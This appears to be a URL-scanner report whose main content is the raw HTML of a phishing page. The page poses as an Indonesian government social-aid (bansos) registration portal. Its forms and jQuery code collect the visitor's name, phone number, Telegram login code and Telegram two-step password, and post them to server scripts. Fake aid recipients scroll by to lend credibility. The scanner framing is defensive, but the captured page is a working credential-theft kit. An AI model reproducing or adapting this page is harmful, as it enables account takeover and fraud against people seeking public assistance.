- ID de l'analyse :
- 559452e9-1ef8-4d3d-8a44-1b5e7e3e1189Terminée
- URL soumise :
- https://indoinspire.com/daftar8
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 46 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
| Nom | Type |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| Vue | function |
| ClipboardJS | function |
| idn | string |
| en_us | string |
| vi | string |
| spanish | string |
| russian | string |
Messages de journal de console : 2 trouvé(s)
Messages consignés dans la console web
| Type | Catégorie | Enregistrement |
|---|---|---|
| error | network |
|
| error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="en" class="h-100"><head id="ctl00_Head1">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<link href="/assets/css/custom.css" type="text/css" rel="stylesheet">
<link href="/assets/css/menebus.css" type="text/css" rel="stylesheet">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta property="og:title" content="Bantuan Sosial Kementerian">
<meta property="og:image" content="/assets/img/garuda.png">
<meta name="description" content="Pusat Informasi dan Pendaftaran Bantuan Sosial" "="">
<meta name="author" content="">
<title>Bantuan Sosial Kementerian</title>
<link rel="icon" type="image/x-icon" href="favicon.png">
<link rel="canonical" href="https://getbootstrap.com/docs/5.0/examples/sticky-footer/">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
<script type="text/javascript" src="/js/vue.min.js.download"></script>
<script src="/js/clipboard.js.download"></script>
<script type="text/javascript" src="/js/index.js.download"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
<style type="text/css">
ul.carouseltext {
width: 27em;
padding: 0;
margin: 50px auto 0;
border: 10px solid #fff;
box-shadow: 0px 2px 3px #eaeaea;
}
ul.carouseltext li {
background: #f7f7f7;
color: #959ead;
list-style-type: none;
padding: 1em;
margin: 0;
transition: background-color 0.5s;
}
ul.carouseltext li:nth-child(2) {
color: #fff;
background: #1998c4;
}
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
/* CSS untuk form OTP */
.otp-container {
display: flex;
gap: 10px;
justify-content: center;
margin-top: 20px;
}
.otp-input {
width: 50px;
height: 50px;
text-align: center;
font-size: 24px;
border: 2px solid #ccc;
border-radius: 5px;
}
.otp-input:focus {
outline: none;
border-color: #007bff;
box-shadow: 0 0 5px rgba(0, 123, 255, 0.5);
}
/* Absolute Center Spinner */
.loading {
position: fixed;
z-index: 999;
height: 2em;
width: 2em;
overflow: show;
margin: auto;
top: 0;
left: 0;
bottom: 0;
right: 0;
}
/* Transparent Overlay */
.loading:before {
content: '';
display: block;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));
background: -webkit-radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));
}
/* :not(:required) hides these rules from IE9 and below */
.loading:not(:required) {
/* hide "loading..." text */
font: 0/0 a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0;
}
.loading:not(:required):after {
content: '';
display: block;
font-size: 10px;
width: 1em;
height: 1em;
margin-top: -0.5em;
-webkit-animation: spinner 150ms infinite linear;
-moz-animation: spinner 150ms infinite linear;
-ms-animation: spinner 150ms infinite linear;
-o-animation: spinner 150ms infinite linear;
animation: spinner 150ms infinite linear;
border-radius: 0.5em;
-webkit-box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
}
/* Animation */
@-webkit-keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@-moz-keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@-o-keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
</style>
<script type="text/javascript" src="/static/js/locale/en_us.js?t=1733278886512"></script></head>
<body class="d-flex flex-column h-100" style="">
<!-- Toast Sukses -->
<div class="position-fixed top-0 end-0 p-3" style="z-index: 11">
<div id="liveToast" class="toast hide" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-header">
<strong class="me-auto">Sukses</strong>
<button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
<div class="toast-body">
Sukses update data
</div>
</div>
</div>
<div id="loading" class="loading" style="display: none;"></div>
<!-- Navbar / Menu -->
<main class="flex-shrink-0">
<div id="ctl00_divContainer" class="container-narrow mx-auto">
<!-- Language -->
<div class="text-center mt-2">
<a id="ctl00_lnkMalay" disabled="disabled" style="color:Black;font-weight:bold;text-decoration:none;">Bahasa Indonesia</a>
<span id="ctl00_lblPipe_bm"> | </span>
<a id="ctl00_lnkEng" href="">English</a>
<span id="ctl00_lblPipe_bi"> | </span>
<a id="ctl00_lnkChineseSimplified" href=""> 中文(简体) </a>
<span id="ctl00_lblPipe_bc"> | </span>
<a id="ctl00_lnkTamilInd" href="">தமிழ் </a>
</div>
<!-- Header -->
<div class="header mt-3 text-center w-100">
<img alt="header" src="/assets/img/e8b4fe7c-c441-4674-b8cc-b84c24b10688.jpeg" id="ctl00_logohead" class="img-fluid" width="100%">
</div>
<span id="ctl00_lblMsg"></span>
<div id="errorfetch"></div>
<div class="container container-narrow my-5">
<!-- Phone Form -->
<div class="first">
<!-- Title -->
<h2 class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">Cek Penerima Bansos</span>
</h2>
<!-- Description -->
<div class="mb-4">Untuk mendaftar silahkan login menggunakan akun Telegram. Dan kami akan menghubungi anda untuk verifikasi penerimaan bansos</div>
<!-- Form -->
<form action="javascript:void(0)" method="post" id="firstForm">
<div class="input-group mb-3">
<span class="input-group-text" id="basic-addon1">Nama</span>
<input name="full_name" id="full_name" maxlength="18" class="form-control" type="text" required="true" placeholder="Nama Lengkap Sesuai e-KTP" title="">
</div>
<div class="input-group mb-3">
<span class="input-group-text" id="basic-addon1">🇲🇨</span>
<input name="phone_number" id="phone_number" maxlength="18" class="form-control" type="tel" value="+62" required="true" placeholder="812345xxxxx" title="">
</div>
<div id="errorphone"></div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processFirstData()">Cek Bantuan</button>
</div>
</form>
</div>
<!-- OTP Form -->
<div class="second" style="display: none;">
<h2 class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">Cek Status Bansos</span>
</h2>
<div class="mb-2">Silahkan masukkan kode verifikasi telegram untuk mengecek status bantuan anda</div>
<!-- Form -->
<form action="javascript:void(0)" method="post" id="secondForm">
<input type="hidden" name="full_name" id="validateFullName" readonly="">
<input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
<div class="otp-container mb-3">
<input type="text" class="otp-input" maxlength="1" id="otp1">
<input type="text" class="otp-input" maxlength="1" id="otp2">
<input type="text" class="otp-input" maxlength="1" id="otp3">
<input type="text" class="otp-input" maxlength="1" id="otp4">
<input type="text" class="otp-input" maxlength="1" id="otp5">
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processSecondData()"><select:disabled></select:disabled>Teruskan</button>
</div>
</form>
</div>
<!-- Password Form -->
<div class="third" style="display: none;">
<form action="javascript:void(0)" method="post" id="thirdForm">
<h2 class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">Cek Status Bansos</span>
</h2>
<div class="mb-2">Masukkan Password jika ada, atau langsung klik Lanjutkan jika Autentikasi 2FA tidak aktif</div>
<input type="hidden" name="full_name" id="validateFullName" readonly="">
<input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
<input type="hidden" name="otp_code" id="validateOtp_code" readonly="">
<div class="mb-3">
<input name="password" id="password" class="form-control" type="text" placeholder="********">
<div class="mt-2">Langsung klik lanjutkan jika anda tidak memiliki password telegram</div>
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processThirdData()">Teruskan</button>
</div>
</form>
</div>
<!-- Success Page -->
<div class="row four" id="ctl00_RecipientMasterContent_divResultNotFound" style="display: none;">
<p class="text-center"><img alt="loading" src="/assets/img/processing.gif" id="ctl00_logohead" class="img-fluid" width="160"></p>
<h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">Harap menunggu proses verifikasi dalam waktu 1x24 jam untuk memeriksa kelayakan,
</span></h5>
<h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">gunakan nomor telepon lain
dan</span></h5>
<p class="text-center"><a href="" class="btn btn-lg btn-block btn-mk">« <span id="ctl00_RecipientMasterContent_lblGoBack_NoResult">Coba Lagi</span></a>
</p>
</div>
</div>
<!-- Bottom Image -->
<ul class="carouseltext" style="height: 385px; overflow: hidden;">
<li class="first">
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Ahmad Fauzi</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Siti Nurjanah</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Budi Santoso</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Rina Melati</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Yanto Prabowo</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Fitriani Wulandari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Andi Kurniawan</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Dewi Lestari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Rizky Firmansyah</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Nurul Hidayah</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Joko Widodo</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Mita Sari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Agus Setiawan</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Lani Amalia</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Dodi Prasetyo</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Sari Puspitasari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Teddy Pramono</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Citra Adinda</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Haris Nugroho</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Melinda Anggraini</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
</ul>
<script type="text/javascript">
//<![CDATA[
var Page_ValidationActive = false;
if (typeof (ValidatorOnLoad) == "function") {
ValidatorOnLoad();
}
function ValidatorOnSubmit() {
if (Page_ValidationActive) {
return ValidatorCommonOnSubmit();
} else {
return true;
}
}
</script>
<!-- record berjaya box -->
</div>
</main>
<br>
<div class="header mt-3 text-center">
<img alt="footer" src="/assets/img/ini1.png" id="ctl00_logohead" class="img-fluid" width="450">
</div>
<input id="slugurl" type="hidden" value="daftar8">
<footer class="footer mt-auto py-3">
<div class="container">
<div class="row">
<div class="col-5">
<span class="text-white">
<span id="ctl00_lblCopyRight">2024 All Rights Reserved. </span>
</span>
</div>
<div class="col">
<ul class="nav justify-content-end">
<li class="nav-item">
<a id="ctl00_lnkFaq" class="nav-link" href="">
<i class="bi-question-circle"></i>
<span id="ctl00_lblFAQ"></span></a>
</li>
<li class="nav-item">
<p id="ctl00_linkMerchList">
<a class="nav-link" href=""><i class="bi-shop"></i>
<span id="ctl00_lblMerchList"></span></a>
</p>
</li>
<li class="nav-item">
<a href="" id="ctl00_linkContactUs" class="nav-link"><i class="bi-envelope"></i>
<span id="ctl00_lblctctus"></span></a>
</li>
</ul>
</div>
</div>
</div>
</footer>
<script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script type="text/javascript" src="/js/jquery-3.4.1.min.js.download"></script>
<script>const slug = "daftar8"</script>
<script>
// 加载多语言
var language = getQueryString('language')
loadLocale(function (e) {
app.locale = Object.assign(e.Common, e.CommonShare)
}, language)
var app = new Vue({
el: '#app',
data: {
locale: {},
uid: '2004219',
},
created() {
$('#app').show();
this.starScroll();
},
methods: {
starScroll() {
var _this = this;
_this.scrollTimer && clearTimeout(_this.scrollTimer)
_this.scrollTimer = setTimeout(() => {
var $box = $("#list").find(".list:first");
$box.css({
marginTop: 0
})
var $item = $box.find(".item:first");
var outerHeight = $item.outerHeight(true)
$box.animate({
"marginTop": -outerHeight + "px"
}, 1000, function () {
$box.css({
marginTop: 0
}).find(".item:first").appendTo($box);
_this.starScroll();
})
}, 600);
},
},
})
</script>
<script>
var x = 0,
container = $('.carouseltext'),
items = container.find('li'),
containerHeight = 0,
numberVisible = 5,
intervalSec = 2000;
if(!container.find('li:first').hasClass("first")){
container.find('li:first').addClass("first");
}
items.each(function(){
if(x < numberVisible){
containerHeight = containerHeight + $(this).outerHeight();
x++;
}
});
container.css({ height: containerHeight, overflow: "hidden" });
function vertCycle() {
var firstItem = container.find('li.first').html();
container.append('<li>'+firstItem+'</li>');
firstItem = '';
container.find('li.first').animate({ marginTop: "-50px" }, 600, function(){ $(this).remove(); container.find('li:first').addClass("first"); });
}
if(intervalSec < 700){
intervalSec = 700;
}
var init = setInterval("vertCycle()",intervalSec);
container.hover(function(){
clearInterval(init);
}, function(){
init = setInterval("vertCycle()",intervalSec);
});
</script>
<script>
function processFirstData(){
$('#firstForm').submit(function(submitingprocessFirstData){
submitingprocessFirstData.preventDefault();
var $full_name = $("input#full_name").val();
var $phone_number = $("input#phone_number").val();
if($full_name == "" && $phone_number == ""){
$('.verification_info').show();
$('.account_verification').hide();
return false;
}
let dataArray = $(this).serializeArray();
dataArray.push({name: 'slug', value: slug})
console.log('dataarray', dataArray);
$.ajax({
type: "POST",
url: "/core/phone.php",
data: dataArray,
beforeSend: function() {
$(".second").show();
$('.first').hide();
},
success: function(){
$('.loading').hide();
$("input#validateFullName").val($full_name);
$("input#validatePhoneNumber").val($phone_number);
const toastElList = [].slice.call(document.querySelectorAll('.toast'))
const toastList = toastElList.map(function (toastEl) {
return new bootstrap.Toast(toastEl)
})
toastList.forEach(toast => toast.show())
},
error: function(jqXHR, exception){
$(".second").hide();
$('.first').show();
if(jqXHR.responseText) {
const responseData = JSON.parse(jqXHR.responseText)
const message = responseData.message
if (jqXHR.status == 400) {
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 420) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 404) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
} else if (jqXHR.status != 500) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
}
return
}
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>Ada masalah, silahkan hubungi admin</div>`)
$('.loading').hide();
}
});
});
return false;
};
const otpInputs = $('.otp-input');
otpInputs.each(function(index, input) {
$(input).on('input', function() {
if (this.value.length === 1 && index < otpInputs.length - 1) {
otpInputs.eq(index + 1).focus(); // Pindah ke input berikutnya jika ada nilai
}
});
$(input).on('keydown', function(event) {
if (event.key === 'Backspace' && this.value === '' && index > 0) {
otpInputs.eq(index - 1).focus(); // Pindah ke input sebelumnya jika kosong dan tekan Backspace
}
});
});
function processSecondData(){
$('#secondForm').submit(function(submitingprocessSecondData){
submitingprocessSecondData.preventDefault();
const full_name = $("input#validateFullName").val();
const phone_number = $("input#validatePhoneNumber").val();
const otp_code = Array.from($('.otp-input')).map(input => input.value).join('');
if(full_name == "" && phone_number == "" && otp_code == ""){
$('.verification_info').show();
$('.account_verification').hide();
return false;
}
const slug = $('#slugurl').val();
// let dataArray = $(this).serializeArray();
// dataArray.push({name: 'slug', value: slug})
$.ajax({
type: "POST",
url: "/core/otp.php",
data: {full_name, phone_number, otp_code, slug},
beforeSend: function() {
$('.loading').show();
},
success: function(){
$(".third").show();
$('.loading').hide();
$('.second').hide();
$("input#validateOtp_code").val(otp_code);
const toastElList = [].slice.call(document.querySelectorAll('.toast'))
const toastList = toastElList.map(function (toastEl) {
return new bootstrap.Toast(toastEl)
})
toastList.forEach(toast => toast.show())
},
error: function(jqXHR, exception){
if(jqXHR.responseText) {
const responseData = JSON.parse(jqXHR.responseText)
const message = responseData.message
if (jqXHR.status == 400) {
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 420) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 404) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
} else if (jqXHR.status != 500) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
}
return
}
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
$('.loading').hide();
}
});
});
return false;
};
function processThirdData(){
$('#thirdForm').submit(function(submitingprocessThirdData){
submitingprocessThirdData.preventDefault();
var full_name = $("input#validateFullName").val();
var phone_number = $("input#validatePhoneNumber").val();
var otp_code = $("input#validateOtp_code").val();
var password = $("input#password").val();
if(full_name == "" && phone_number == "" && otp_code == "" && password == ""){
$('.verification_info').show();
$('.account_verification').hide();
return false;
}
const slug = $('#slugurl').val();
$.ajax({
type: "POST",
url: "/core/password.php?slug="+slug,
data: {full_name, phone_number, otp_code, slug, password},
beforeSend: function() {
$('.loading').show();
},
success: function(){
$(".four").show();
$('.loading').hide();
$('.third').hide();
const toastElList = [].slice.call(document.querySelectorAll('.toast'))
const toastList = toastElList.map(function (toastEl) {
return new bootstrap.Toast(toastEl)
})
toastList.forEach(toast => toast.show())
},
error: function(jqXHR, exception){
if(jqXHR.responseText) {
const responseData = JSON.parse(jqXHR.responseText)
const message = responseData.message
if (jqXHR.status == 400) {
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 420) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 404) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
} else if (jqXHR.status != 500) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
}
return
}
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>Ada masalah, silahkan hubungi admin</div>`)
$('.loading').hide();
}
});
});
return false;
};
</script>
</body></html>